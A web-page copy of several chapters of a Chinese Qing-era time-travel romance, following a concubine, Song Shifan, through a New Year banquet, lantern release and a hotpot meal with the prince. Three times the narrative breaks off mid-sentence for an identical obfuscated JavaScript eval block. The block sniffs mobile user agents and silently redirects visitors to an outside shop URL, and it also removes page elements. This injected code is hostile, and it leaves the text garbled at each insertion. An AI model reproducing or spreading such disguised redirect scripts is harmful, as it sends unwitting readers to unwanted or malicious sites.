说罢,宋时繁快步逃离了现场,生怕多待一会儿又叫安秀秀给绊住了。 她实在不愿意跟她继续绕弯子,虽说美人垂泪挺赏心悦目的,可若是这泪是对着她垂的那就大可不必了。 而且结合安秀秀刚才说的话,宋时繁已经大致推测出一些事情来、 左不过就是安秀秀自觉被四爷厌弃了,可又不甘寂寞,正好借着福晋打算利用侍妾们争宠的心思,想重新获宠。 可若是一心靠着福晋,那以后生得孩子必得是要抱到福晋院子里养着的,毕竟这时候的侍妾身份太低,不配养孩子。 这么看下来,也许安秀秀是不愿意白白叫福晋养着自己的孩子,所以安秀秀就瞄准了她。 也是,说起来宋时繁只有一个女儿,在府里也不算得宠,地位不上不下的,若是能多抱养一个孩子在身边,客观上来讲对宋时繁还是有好处的。 而且从安秀秀的角度来说,只要孩子没被福晋抱走,就算送到了哪位格格的身边,安秀秀还是有机会叫孩子知道自己的亲额娘是谁的。 毕竟侍妾虽说是和格格差着一层,可到底也没差多少去,还是有可操作空间的。 想通以后,宋时繁更不愿意和安秀秀多接触了。 首先安秀秀这种打算拿孩子当交换条件的行为宋时繁就接受不了,其次,安秀秀分明打着两头靠的算盘,若真沾上她以后不知道还有多少麻烦事呢,头一个就是要对上福晋,她吃拧了才会在这种时候去跟福晋对着干。 宋时繁又不是傻子,她这种小趴菜还是离是非远点儿得好。 由于宋时繁一直在脑海里默默思索,想得太入迷就没听见白薇喊她。 白薇还真以为宋时繁是因为安秀秀的话不高兴了所以才不说话。 白薇有些着急:“格格您别气,气坏了身子不值当的,其实主子爷对您还是有些不同的,奴才们都看得出...” 宋时繁的思绪一下被白薇拉了回来,听见这话不由笑了笑:“傻白薇,我没生气呀,刚刚那是在演戏呢,别担心。” 至于白薇后半句说的四爷对她不同的话,她相信那才有鬼呢。 在外面晃悠了好一会儿,终于熬到宴席开始的时间。 好在晚上没再出什么幺蛾子了,宴席上的氛围还算融洽。 也许是大家一天下来都累了,只想着早点吃完早点回去。 最起码宋时繁是这么想的。 宴席刚开始,福晋就举杯给四爷敬酒:“爷,祝爷新春嘉平,长乐未央!” 四爷很给面子地喝了。 这之后格格们也开始给四爷敬酒,这可是难得能在四爷面前露脸的机会,谁也不想错过,当然除了宋时繁,不过这种需要随大流的时候,宋时繁绝不会搞特殊就是了。 先是李格格站起了身,端起她面前的花露对四爷道:“主子爷,奴才有孕,不便饮酒,便以茶代酒,祝爷新的一年吉祥如意。” 四爷点了点头,还顺带着关心了一句:“你身子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101959|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便,不用多礼了,快坐下吧。” 李格格被四爷当着众人面关怀,心中欣喜,面颊上也染上一层红晕。 此时安秀秀突然出声打趣道:“主子爷真疼爱李格格呀。” 李格格闻言嘴唇扬了扬,面上闪过一丝得意,但仍是娇羞道:“主子爷对各位姐妹们都是一样的”。 说罢李格格略显造作地扶着肚子坐下了。 其实很不必如此,李格格这身孕才刚满三个月,要说肚子,那是几乎没有起伏的,但李格格不管干什么都是一副孕相十足的表现,生怕别人不知道她怀孕。 而且令宋时繁讶然的是,这短短一会的功夫,安秀秀竟然又变了心思,看样子是站到李格格那边去了? 也不知道福晋做何感想,于是宋时繁悄悄看了看福晋的表情。 果不其然,福晋的脸色变了变,不过因为这会子人多,这变化也只是一瞬间的事,很快,福晋的脸上有带着笑了。 只是依宋时繁来看,那笑容多了些勉强。 也不知道福晋这算不算搬起石头砸自己的脚了,毕竟她本来是想拉拔着侍妾们去跟李格格争宠的,好四爷别把心思都放在李格格一人身上,没想到安秀秀竟投到了李格格那边,想也知道福晋该有多生气了。 宋时繁在心里摇了摇头,又见武格格举起酒杯来:“奴才敬主子爷和主子福晋,祝主子爷和主子福晋来年和和美美,岁岁有今朝。” 这话一出,李格格面上就不好看的,她刚才可只敬了四爷一个人,这个武格格,真会卖乖!衬得她成什么人了? 宋时繁也有些意外,武格格一向长袖善舞的,谁也不肯得罪,现下怎么会帮福晋解围,这下李格格该记恨她了。 唉,这府里的人际关系还真是复杂啊,宋时繁如是想到。 福晋倒是笑了,面容也和煦起来:“多谢你了,也祝你新春吉祥”说罢和四爷一起喝了武格格敬的酒。 这之后再有人敬酒都是一起敬四爷和福晋了,宋时繁也不例外。 “祝四爷和福晋新年胜旧年。” 话音刚落,宋时繁就将杯中酒一饮而尽,她们女眷喝的酒水都是果酒,香香的,也没什么后劲,喝进嘴里还有甜味儿,宋时繁喝完眼睛就亮了。 她本来不喜欢喝酒,总觉得酒里有股怪味,所以刚刚她才喝得那么快,就是怕难喝,谁知第一次尝到古时候的酒竟然还挺新奇的。 宋时繁喝完酒以后的样子落在了四爷的眼里。 四爷心下觉得有趣,便问了一句:“宋氏,你的酒有这么好喝吗?拿来爷也尝尝。” 苏培盛闻言忙给四爷斟了一杯果酒。 四爷尝了尝,觉得没什么新鲜滋味,不过是有些甜,四爷向来是喜欢烈酒的,这种女儿家喝得酒他不感兴趣,今日也不知怎么鬼使神差地,竟还当众要了来尝,还怪不好意思的。 于是四爷用一句“是还不错”就匆匆跳过了这个话题。 之后再也没有发生任何小插曲,宴席顺顺利利到了尾声。 就在宋时繁以为今天终于结束了,她总算可以舒舒服服回去躺着的时候。 苏培盛突然上前对四爷道:“请主子爷和福晋,以及各位格格、姑娘们移步到花园里去。” 四爷略挑了挑眉问道:“都预备好了?” 苏培盛应声后,四爷对着面上满是疑惑的女眷笑了笑,才道:“走吧,咱们去花园瞧瞧。” 说完率先离开座位,走的时候还不经意多看了宋时繁一眼。 不过这一眼很快就略过去了,其他人都没察觉到。 连宋时繁自己都没感觉四爷看了她一眼,她只是在想,这怎么还没完没了的了?到底又有什么事啊! 28. 为了她? 众女眷跟着四爷到了花园,只见短短的功夫,花园里俨然已经装饰一新。 沿路上满是灯笼,有的摆在地上,有的则挂在树梢上或者檐下。 这些灯笼当中有花样繁复华丽的宫灯,还有做成各种动物造型的灯笼,以及做成花朵样式的灯笼,连花蕊都做得栩栩如生,宛如真的鲜花一样。 宋时繁一时间看入迷了。 虽说在现代的时候她也看过几次灯会,可那时候看到的灯笼大部分是电灯,也并不是由宫中匠人精雕细琢出来的,远不及眼前的场景给她带来的震撼大。 四爷领着众人继续往前走,苏培盛则跟在一旁详细介绍这些灯笼的来龙去脉。 宋时繁听得兴致勃勃,其他人也被眼花缭乱的灯笼吸引住了目光,就连平时谨慎寡言的郭格格,都不时发出赞叹的声音。 绕着花园走了一圈,宋时繁发现她们又回到了延庆阁,此时众人就站在延庆阁前的小湖边。 女眷们都以为赏完花灯今日就算结束了,没成想有那眼尖的瞧见一群小太监们正搬着一个长桌往这边来,桌上还摆着各式各样的河灯。 武格格略带惊讶地开口:“你们瞧,他们在做什么呢?” 福晋这时笑着看向四爷打趣道:“爷真会卖关子,今儿可是将众姐妹们好一通戏耍,现下还有什么节目呀?” 不得不说,在灯火的映照下,连向来最喜欢端着架子摆嫡妻谱的福晋,这会子也显现出些小女儿家的娇俏来。 其实宋时繁也搞不懂,明明福晋年纪比她还小,干嘛成天做出一副老气横秋的样子呢?现在这样多好呀。 不等宋时繁深想下去,就听四爷解释道:“不过是爷见你们平日无事可做,这才趁着过年的当口带你们热闹热闹,爷叫奴才们准备了河灯,你们别拘束着,自去玩吧。” 武格格在四爷面前还算得宠,她平日里也是娇俏可爱那一挂的,所以这会子当先便从桌上拿起一盏灯,笑吟吟道:“诸位姐姐们,妹妹今天可要拔得头筹了!” 武格格说罢,也不顾形象了,兴高采烈地直接蹲在了湖边,将灯放进湖里不算,还伸手赶着灯笼快点走。 武格格本就活泼,如今做出这副天真的模样来,倒十分惹人怜惜,就连一旁的李格格都笑着看武格格玩闹,她自己也跃跃欲试起来。 福晋笑着摇了摇头:“武格格进府也有段日子了,怎么还这样贪玩。” 四爷摆摆手对福晋道:“她本性如此,如今年纪又小,爷瞧着甚好,倒不必拘束了她...” 彼时四爷看着福晋的脸旁,忽然发现福晋比他的这些格格们其实都小些,于是四爷放轻声音道:“福晋也去放盏灯吧,今天是开心的日子,莫辜负了。” 福晋闻言神情有些犹豫,可她到底还是不肯放下自己嫡福晋的身段儿,自觉自己是正经上了玉牒的皇家福晋,小格格们贪玩也就算了,她若一起跟着闹岂不是失了嫡福晋的规矩和体统? 但四爷刚刚发了话,福晋也不敢违逆,便只好叫来身边的丫鬟芸香替她放了一盏河灯。 四爷看在眼里,虽然没有生气,但到底不愿意继续跟福晋说话了。 于是四爷将目光移开了,不经意地,四爷开始寻找宋时繁的身影。 没成想,宋时繁竟然也没有加入放河灯的人群当中,只静静站在岸边看着旁人。 四爷再一次从宋时繁身上感受到那种即将要乘风而去的孤寂之感,四爷心中下意识一紧,想都没想便抬步往宋时繁站着的地方走去。 福晋见四爷突然大喇喇朝着宋氏那边走去,她眼神闪了闪,心中有些黯然,觉得四爷在这种场合下根本不顾及她这个做福晋的颜面,可她又对四爷无可奈何,总不能喊住四爷叫他别走吧? 最终,福晋气得将手中的帕子都揪成了一团,顿时也没了继续赏灯的心情,扶着丫鬟的手转身去了旁边的小亭子里,打算歇息片刻。 彼时,宋时繁还并不知道四爷朝她走过来了,等四爷走到她近前的时候,她想躲都来不及了。 没错,宋时繁当然想躲,在这种所有人都齐聚的情况下,四爷突然过来,在宋时繁看来,简直就像是危险自己来敲她的门。 瞧瞧,其他人的目光都已经有意无意往宋时繁这边撇了,救命啊,四爷非要在这种时候给她招仇恨吗? 可四爷已经到了近前,宋时繁只得硬着头皮对着四爷请安:“给四爷请安,四爷吉祥。” 四爷不是来听宋时繁请安的,于是他忙伸手扶住宋时繁:“今日这种时候不必多礼。” 宋时繁看着四爷伸过来的手,心里面已经土拨鼠尖叫了,恨不得立马离四爷八丈远,她怎么觉得那些人都快用眼神把她给凌迟一遍了? 宋时繁只得借着起身的动作,悄咪咪躲开了四爷的手,并且为了防止四爷再次抽风,宋时繁先发制人地问道:“四爷您有什么事吗?” 四爷倒是被问得一愣,他能有什么事?不就是看宋氏一个人站在这儿,他瞧着实在太可怜了,所以不自觉便走过来了。 可是为什么四爷觉得宋氏好像不喜欢他过来的样子?瞧瞧这质问他的语气,不过四爷不打算计较,于是他略过这个话题,而是反问宋时繁:“怎么不去放灯?” 宋时繁没想到四爷过来竟就为了问这么一句话,她有些诧异,不过仍是捡了个理由回答四爷道:“听说放灯是为了寄托自己的美好心愿,奴才没什么愿望。” 四爷想问怎么会没什么愿望呢?不是日前才说思念家人,还说想念和家人一起过新年的时光,怎么这会子又没心愿了? 四爷觉得宋时繁在胡说八道,四爷又想,也许宋氏是觉得反正见不到家人放了也是白放,所以干脆不给自己念想了? 越这么想,四爷看宋时繁的目光越温柔,最后都快把宋时繁看得心里发毛了。 不得不说,在四爷的脑补里,宋时繁俨然已经成了一朵倔强的小白花。 可惜,事实上宋时繁只是单纯地嫌麻烦,而且大冬天站湖边还怪冷,就这么看看不是也挺开心的。 当然,四爷不知道宋时繁的想法,还怕宋时繁太难过,便拉过宋时繁道:“既是除夕,就别有这么多顾及了,来,爷陪你放灯。” 说罢不等宋时繁拒绝,就将宋时繁拽到了摆着花灯的长桌前。 宋时繁不明白四爷又抽什么风,但看着四爷明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101960|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的眼睛,宋时繁实在想不出拒绝的话语,于是她伸手从桌上拿起了一盏灯,是一个正坐着的兔子灯,兔子的造型憨态可掬,做工精巧极了,里头还映出荧荧的烛火,十分漂亮。 四爷见状还抓起桌上的一根毛笔递给宋时繁:“写个祝福语吧!” 宋时繁拿着笔思考了一会儿终是落笔写下了几个字。 四爷见宋时繁的字还算齐整,比第一次看她写字的时候好多了,便也不吝啬夸奖,开口笑道:“字儿倒是有进益了,可见你平日没少下功夫。” 宋时繁闻言笑了笑,正打算开口说点什么。 却在此时,天边突然炸起一朵烟花,紧跟着又是一朵,烟花炸开的瞬间,宛如繁星点点,顿时将黑夜点亮,散发出绚烂的光芒。 宋时繁抬头看向天空,烟花还在不停地肆意绽放着,层层叠叠的色彩就像一副美丽画卷,点亮了宋时繁的眼眸。 鬼使神差的,宋时繁朝着四爷所在的方向看去,没成想,竟直接撞进了四爷的目光里,四爷的瞳孔里清清楚楚又明明白白地倒映着她的身影。 宋时繁突然感觉心脏漏跳了一拍,她有些惶惑,下意识伸手捂了捂心口,然后飞速低头,却在不经意间看到了她刚刚写下的四个字:辞旧迎新。 等人群终于散去后,宋时繁和白薇慢慢走在回院子的路上。 宋时繁心里乱得很,便没有说话。 倒是白薇,仍是沉浸在兴奋的情绪当中:“格格,方才的烟花可真好看,奴才从来没见过这样好看的烟花呢。” 宋时繁不知道在想些什么,闻言只随意点了点头:“恩,是挺好看的。” 白薇见宋时繁有些魂不守舍的样子,她咬了咬唇,终是道:“奴才斗胆跟格格说句话...” 宋时繁问:“什么?” 白薇道:“前几日格格刚说想和家人一起过年,还说了往年同家人一起放烟火的事,主子爷今天就...” “嘘,白薇你别胡说八道,怎么可能?不会有这种事的!”不让白薇把话说完,宋时繁就急着反驳。 “可奴才今日明明见主子爷总瞧着格格,方才还亲自陪格格放灯了。” 宋时繁一时间想不出反驳的话来,难不成...四爷做这些真是为了她?这也太...不可能吧? 突然,宋时繁又想起一事来:“四爷和福晋刚刚是一起回了正院的吧?” 白薇不明白自家格格怎么想法如此跳脱,但还是答道:“回格格的话,今儿是正日子,按规矩,主子爷是要去福晋院里的,而且明儿是初一,主子爷和福晋还要进宫请安呢。” 宋时繁听见这话倒是将先前的慌乱一扫而空了,她对着白薇笑了笑:“是啊,规矩如此呢,四爷今日合该陪着福晋,咱们也快点儿回去吧,我今天可累坏了,好想念我的大床啊!” 是啊,她怎么就糊涂了?刚刚竟然还在那边胡思乱想,四爷那种天潢贵胄,府上姬妾多得要死,她这种无足轻重的人,四爷怎么可能会为了她做这些事啊。 想到这里,宋时繁在心里摇了摇头,她还是守着自己的心好好过她的小日子吧,别成天想这些有的没的,回头脑子都要想坏了。 29. 是喜欢的 过了十五,康熙爷就带着后宫妃嫔以及排行靠后的几个小阿哥们和未出嫁的公主们往圆明园去了。 四爷不用再进宫,这日子可算是彻底清闲下来了,他也能好好歇上几天。 前段时间每日天不亮四爷和福晋就要往宫里跑,就是铁打的人也该累坏了。 四爷还好,他往日里骑射训练一个都没落下,身子还是很健壮的,倒是把福晋累坏了,一回府就病倒了。 可到底仍在过年期间,福晋却是不敢叫太医的。 其实京城里的人家,也不止福晋一个人累病了,过年这么多人要进宫呢,哪个不累?但就算是有个病啊痛的,谁家也不敢叫太医就是了。 不然传出去说是进宫给皇上拜年累病倒了,旁人不说你本就是个体虚身子弱的,倒要讲你不忠不孝,大过年还要找晦气,到时候可就吃不了兜着走了。 所以福晋打算硬挺着,最起码要把正月过完再说,连累都不敢提。 对外只说过了十五了,让府里人都松泛松泛,昨日还叫吴嬷嬷来各院里传话,说是这段时间就免了早起请安。 对此四爷却有些不赞同。 他的皇阿玛又不是暴君,病了就请太医嘛,这是天经地义的事,他皇阿玛也没说不让啊,都是底下那些人胡乱揣测,反倒坏了他皇阿玛的名声。 不过福晋咬着牙不肯看病,四爷也不好说什么了,只能随她去了。 此番倒是便宜了宋时繁,不用早起请安,她每天可以睡到自然醒,再也不用天寒地冻地从被窝里钻出来,天知道她之前日日不落的请安用了自己多大的意志力,现下她不知道有多悠闲。 不光宋时繁,府里其他人也都空闲下来了,就连四爷也跟着松快了不少。 这一闲下来,四爷就又想起宋时繁来。 除夕那晚的场景,就像一出折子戏,一幕幕的画面不停在四爷脑海中回放。 灯火映照下,宋氏微微扬起的脸旁,以及簪在宋氏发髻间长长垂至耳畔的流苏,被风吹得轻轻晃动着,晃得四爷心都乱了。 当他与宋氏不经意间视线交错的那一刻,他仿佛体会到了前面近二十年的生命里从未有过的悸动。 想到这里,四爷的手指下意识摩挲着手中的书页。 一时间,思绪纷飞。 在旁边侍立的苏培盛见四爷手上拿着的那本书半天都没翻动一页,心下有些讶然。 这还得了,想必主子爷是有心事了,他苏培盛可是四爷最贴心的小棉袄,怎么能放任这种事情发生? 于是,苏培盛上前一步唤道:“主子爷,快中午了,您瞧着是不是...” 在苏培盛看来,四爷刚刚的表情十分可疑,怕不是在思念哪个格格呢,所以苏培盛没把话说全,只暗搓搓地试探了四爷一句。 突然被苏培盛打断思路,四爷本来还有些不满,但听到苏培盛的话他心中却是一动,反正今天得闲,现下不若去瞧瞧宋氏?也有功夫没去过她那边了,说不得宋氏这会子也在想爷呢? 一想到有这个可能,四爷的心就微微颤了颤,说不上是因为激动的,还是因为别的什么。 可四爷还记着自己的身份,不好对一个格格表现得太急切。 因而四爷轻咳了两声,状似不经意地对着苏培盛问道:“是不是什么呀?” 苏培盛一听心里就乐了,这是主子爷不好意思呢,苏培盛跟了四爷这么多年,倒还真是头一次见四爷这样。 只不过这份不同是对谁呢? 苏培盛继续试探道:“今儿是奴才疏忽了,只顾着伺候主子爷您看书,倒忘记传膳了,奴才怕耽误了主子爷用膳,要是饿着了主子爷,那奴才万死也难辞其咎,若不然主子爷上后院里瞧瞧?哪个格格要是能叫主子爷陪着用顿饭,且要高兴呢。” 四爷语焉不详地道:“你倒是会讨巧卖乖,也罢,念你初犯,爷不跟你计较,只是都这个点儿了,去谁那儿?” “不若去李格格处?”苏培盛想着李格格正当宠呢,便先问了一嘴。 四爷闻言没应声,眼皮子都没从书里抬起来,沉默了好一会,他才道:“李氏有身孕,这会子怕是都吃上了,爷去了她也吃不好了。” 得,不是李格格,那会是谁?莫名的,苏培盛心里,宋格格三个字就这么堂而皇之地蹦了出来。 “宋格格那儿呢?奴才前几日路过膳房,跟膳房的小太监们聊了一嘴,他们说宋格格这两日早晨起得晚,连带着午膳用得都迟呢。”苏培盛带着些玩笑的口气说道。 四爷一听见这话嘴角便翘起了个小弧度,但他仍是沉着气开口:“府里就属她最惫懒,没有哪家的格格像宋氏这样没规矩,既如此,爷就去管教她一番吧!是该好好教训教训了...” 说罢,四爷迫不及待地就放下书起身踏出房门了,简直是口嫌体正直的形象代言人。 见状,苏培盛还有什么不明白的?瞧着四爷还在那边故作姿态呢,苏培盛也乐得不拆穿。 嘿,爷您还嘴硬呢,那嘴角都快咧到耳朵根啦。 彼时,宋时繁还不知道自己已经被某些人给惦记上了,她这会子正快快乐乐地吃着火锅呢。 没错,年三十那天中午,宋时繁吃了个清汤羊肉锅子,这一下可把她的馋虫给勾上来了。 当时她是想吃个辣火锅来着,可眼下她虽然出了月子,但仍在哺乳期,她还要给大格格喂奶呢,也不敢吃太重口味的。 不过,这点儿小事哪能拦得住宋时繁想吃火锅的迫切心愿?不能吃辣的,还能吃别的口味不是? 碰巧今日宋时繁心情不错,便叫竹苓早早儿带着银子去膳房点菜。 当时,竹苓去到膳房说是要个番茄锅子的时候,厨房掌勺的太监只说不知道怎么弄,还是从前在阿哥所里就跟着伺候的,后来又入了四爷府上的黄太监,因他年纪大了,见识也多,才知道番茄这么个东西。 黄太监对着竹苓和蔼道:“这东西府上不大吃,但宋格格想吃也容易,今儿正好有采买的人来,叫他们带些回来也方便。” 竹苓原先还以为弄不到格格想吃的东西了,突然听见能做,顿时也笑了,忙将带来的银子塞到黄太监手里:“多谢黄公公,咱们格格的一点儿小心意,公公别嫌弃,到时还请公公费点儿心。” 黄太监掂了掂手里的银子,不算十分多,但也不少了,以格格的身份来看,宋格格出手还是很大方的,可见宋格格是个敞亮的,这样的人,黄太监是愿意给点儿方便的。 于是黄太监还贴心询问竹苓:“宋格格太客气了,没什么麻烦的,只是不知道宋格格想怎么吃?” 好在宋时繁想到膳房可能会不知道怎么做,一早便交代了竹苓她想要的东西。 就听竹苓开口答道:“格格说要个番茄做底的清汤锅子,但不要将菜煮到一起,只捡着新鲜的洗净了切了装盘,到时候连同锅子一起呈上来便是。” 黄太监笑了笑:“宋格格这吃法新鲜,姑娘且回去吧,等中午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101961|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保管就有了。” 果不其然,午膳时间刚到,黄太监就叫了几个小太监拎着好些食盒送来宋时繁这里来了。 宋时繁早就等不及了,叫白薇给跑腿的小太监们一人抓了把铜钱,便急吼吼催着白薇她们摆膳。 只见不一会儿,桌上就摆满了各色菜品,有笋片,豆腐,还有新鲜的菇子,甚至还有一把小青菜,冬日里的叶子菜可不常见,肉类也上了不少,牛羊肉都切成了片,还有鱼肉也片儿地薄薄的,以及宋时繁特意交代竹苓要来的鸭肠,中间则摆放着番茄锅子,味道也是浓郁极了, 而且,黄太监想得十分周到,他见宋时繁要得都是生的东西,料想宋时繁应该想一边煮一边吃,还叫膳房小太监们抬过来一个小火炉,将锅子直接架在了火炉上面。 此时,番茄锅已经煮沸腾了,正咕嘟咕嘟冒着热气儿呢。 宋时繁再顾不上许多,忙坐下开始大快朵颐。 也正是这个时候,四爷来了,一进屋就看见了宋时繁豪迈的吃相。 其实如今宋时繁院子里的奴才们都挺勤勉的,毕竟已经换了一批人了,现下没人敢十分松懈,所以四爷一进院子,就有人上去迎了。 可偏偏四爷想起从前总是能在不经意间撞见宋时繁有趣的一面,于是这次四爷也不要人进屋禀告,只管挥手叫人退下去,自己径直就进了宋时繁住的正屋。 果然,宋时繁就给了四爷一个惊喜,四爷头一次见女子吃饭吃得这么不顾形象,而且那一桌子盘盘盏盏的,都是些什么东西? 宋时繁猛然间见到四爷这么个大活人站在她眼前,简直吓了一大跳,差点被呛着。 “咳咳咳...咳咳...四...四爷...你怎么...”宋时繁脸憋得通红,话也说不全了。 四爷见状忙走上前帮她拍了拍背,还瞪着眼训宋时繁:“这么大人了,吃个饭也这样莽撞,你急什么?” 宋时繁好不容易把气儿顺过来的,就听见四爷埋怨她,心说还不是四爷神出鬼没地吓着她了,否则她吃得好好的,怎么可能噎着? 不过莫名其妙的,宋时繁好像已经习惯了四爷突然出现的行为,心下也没有多少异样了,当然,宋时繁自己还没意识到就是了。 而此时,四爷看着桌上乱七八糟的菜,挑了挑眉问道:“这是什么?” 宋时繁有些悻悻地:“额...火锅,挺...挺好吃的,四爷您要不要尝尝...” 四爷闻言施施然坐了下来,这下反而轮到宋时繁惊讶了,天晓得,她只是客套一下,这四爷怎么就坐下了?噢她忘了,四爷这个人没眼力见得很! 可,这些菜她都动过了,难道四爷打算吃她吃剩下的不成? 不过四爷已经拿起筷子来了,宋时繁也无法,只得老老实实在四爷身边坐下。 紧接着她又瞅见四爷略带求助的眼神,宋时繁挠了挠头发,拿起筷子夹了一片肉放进锅子里涮了涮:“四爷,您想吃什么像这样涮一涮就行了。” 四爷见状也得了趣儿,挥退了苏培盛想要帮忙涮肉的手,自己学着宋时繁的样子吃了起来。 不知不觉,两个人都沉浸到干饭当中去了,末了,几乎是将桌上的菜一扫而空。 宋时繁也不知道怎么就发展成了这个地步,不过她反正吃爽了,管他呢。 倒是吃饱喝足的四爷,再看着眼前宋时繁鲜活的面庞,心里又颤动了起来。 他想,他约莫是真地喜欢上眼前这个小格格了。 30. 叫咪咪吧 吃完饭也不能干坐着,往日里这个时候,宋时繁都是要去给大格格喂顿奶,然后再陪着大格格睡个午觉的。 可左等右等,宋时繁都没等到奶娘们将大格格抱过来。 她一时间觉得有些奇怪,便喊来白薇:“白薇,大格格呢?怎么还没抱来?这会子大格格该饿了...” 白薇闻言有些急了,主子爷还在这呢,自家格格这会子好端端的突然提什么大格格?难不成格格还想将主子爷晾在一旁去管孩子不成? 白薇这么想也正常,古时候大户人家找奶娘看孩子一方面是为了将孩子养得更精心些,但其中还有一个更深的原因。 那就是古代后院里的女人们,说起来她们最主要的任务还是要伺候好男主子,然后繁衍后代,这也就是为什么会有奶娘这个职业,因为不能让小孩子把女人们的时间全都占用去。 当然,宋时繁这个现代人的脑子里是完全没有这种思想的,所以也不怪她会问。 要真论起来,现如今她的心里,大格格肯定是排第一的,四爷保不齐还排在白薇和竹苓的后面呢,所以她当然感觉不到自己忽视了四爷。 可白薇不能管四爷,于是她隐晦地提醒了宋时繁一句:“格格您安心侍奉主子爷,奴才刚才去西厢瞧过了,大格格那边奶娘们照顾得好着呢。” 宋时繁听见这话却不以为然,心说四爷那么大个大活人还能比小婴儿更需要照顾吗?难不成四爷在这儿她就不能看孩子了?莫非他们这种皇阿哥已经废到没人伺候就生活不能自理的程度了? 想到这里宋时繁隐晦地看了四爷一眼。 很不幸,这一眼很巧合的被四爷捕捉到了,更不幸的是,四爷竟然奇妙地看懂了宋时繁眼神里的意味。 顿时,四爷觉着有些不自在了,这是什么意思?他被自家格格鄙视了? 不过意识到这一点的四爷却没有生气,只是感到有些新奇。 虽然四爷觉出了宋时繁对他的忽视,但这种感觉他在旁人身上从来没有体会过。 可看着宋时繁一脸理应如此的表情,四爷又觉得她好似不是在作伪,也并不是特意表现出疼爱孩子,以便于在他面前博得一个好印象。 那就是真的了,竟然真有人比起他来更在乎孩子,虽说孩子也是他亲生的,但他这样想就好像在跟自己的孩子吃醋一样。 思及此,四爷忽而笑出声来。 然后四爷开口了:“去把大格格抱来吧,爷也许久没见过大格格了,正好见见。” 宋时繁可不在乎四爷是怎么想的,一听可以把孩子抱来,忙欢欢喜喜地就去了。 倒是白薇看了看飞奔着出去的宋时繁,又看了看仍面带笑意的四爷,这...这都快超出她理解范围了好不好! 不一会儿,宋时繁抱着大格格进了屋,直接上了窗边的小榻。 大格格这会子刚吃饱正精神呢,四爷走过来就瞧见大格格那双大眼睛睁得圆溜溜的,爷俩开启了大眼瞪小眼的模式。 宋时繁见状将大格格往四爷的怀里递过去:“四爷您要抱抱大格格吗?您还没抱过大格格吧...” 宋时繁也是有私心的,大格格是个女孩子,虽然她自己不看重这些,可毕竟时代不同,这时候的格格到底不如阿哥,阿哥长大了还能捞个爵位当当,格格们到了年纪就要成婚了,惨一点儿的直接被送去蒙古,活不活得下去都是不一定的。 四爷未来可是要当皇帝的人,他现下要是能多跟大格格培养培养感情,以后大格格也能多层依仗,对大格格以后总归是有好处的。 宋时繁想得很美好,反观四爷却有些不知所措了。 大格格毕竟是四爷第一个孩子,四爷也是很疼爱的,可他往日去瞧大格格的时候都是站在边上看看也就罢了,这会子突然被宋时繁将孩子塞到手里,四爷是接也不是,不接也不是。 可看着大格格白白嫩嫩的小脸,四爷终是将大格格接了过去,但他不敢用力,几乎是将大格格捧在手上。 宋时繁瞧着四爷紧张兮兮的样子心下觉得好笑,她也不客气,当即便笑出声来。 四爷知道宋时繁是在笑话他呢,于是四爷立刻便拿眼睛瞪她,可又怕吓着怀里的大格格,只能小声威胁道:“你敢笑爷?” 宋时繁笑得都快肚子疼了:“唉哟..不...不敢...哈哈哈...” “有这么好笑吗...”四爷有些幽怨。 宋时繁见四爷真委屈了,忙道:“不好笑不好笑,就是没想到四爷堂堂的大男子汉,竟然还会害怕大格格一个小小人儿罢了。”说到最后,还是没忍住揶揄了四爷一句。 这会子四爷倒是坦然了:“哼,爷倒不信有人天生就会所有事,这有什么的。” 不得不说,四爷这话叫宋时繁有些惊讶。 她是没想到像四爷在这样出生即高贵的生存环境下,竟然能有这种觉悟,这还真是叫她对四爷另眼相看了。 想到这里,宋时繁也不嘲笑四爷了,反而开始教四爷如何抱孩子。 好在大格格被折腾来折腾去的也不哭也不闹,最多是眨巴眨巴眼睛,然后就一直老老实实趴在四爷怀里,把个四爷的心都看化了。 “这孩子倒是乖巧,是你这个做额娘的教得好。”四爷心下喜欢,便夸了宋时繁一句。 宋时繁笑得温柔:“才三个月,哪儿教得了?是大格格天生就会体贴人呢,咱们大格格是来报恩的...”说起自己的心肝小宝贝,宋时繁也开启了夸夸模式。 在宋时繁心里,大格格本来就是上天赐给她的礼物,毕竟一来到这里就得了这么个漂亮懂事的乖巧好宝宝,可不就是礼物吗? 至于四爷的贡献...嗯,暂时忽略了吧。 不过说到大格格已经三个月,四爷又想起一桩事来:“大格格百天还没办是吧?” 宋时繁不妨四爷又提起这一茬来。 大格格生得赶巧,四爷之前就说过她可以在院子里给大格格摆上一桌。 